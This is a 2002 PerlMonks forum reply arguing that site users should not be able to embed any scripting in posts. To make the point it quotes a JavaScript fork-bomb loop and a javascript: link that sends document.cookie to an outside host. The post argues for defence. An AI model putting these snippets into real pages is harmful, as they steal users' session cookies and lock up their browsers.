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Re: Filtering potentially dangerous URI schemas in <a href="...">

by Juerd (Abbot)
on Oct 21, 2002 at 07:06 UTC ( #206782=note: print w/replies, xml ) Need Help??


in reply to Filtering potentially dangerous URI schemas in <a href="...">

I agree. You should really not be able to use any scripting in nodes. Some argue that dangerous links can be protected, but I think that if a link really is dangerous, it should not be a link - give us the URL in plain text, if you have to.

Javascript forkbombs (for(;;) window.open(document.location)) and cookie stealers (<a href="javascript:'http://foo.com/?c='+document.cookie">) are too easy to do, and I don't think PM users should be given the power. There's the ability of using all Javascript you want on home nodes that can sometimes be entertaining, but I think we shouldn't be allowed to do any scripting at all.

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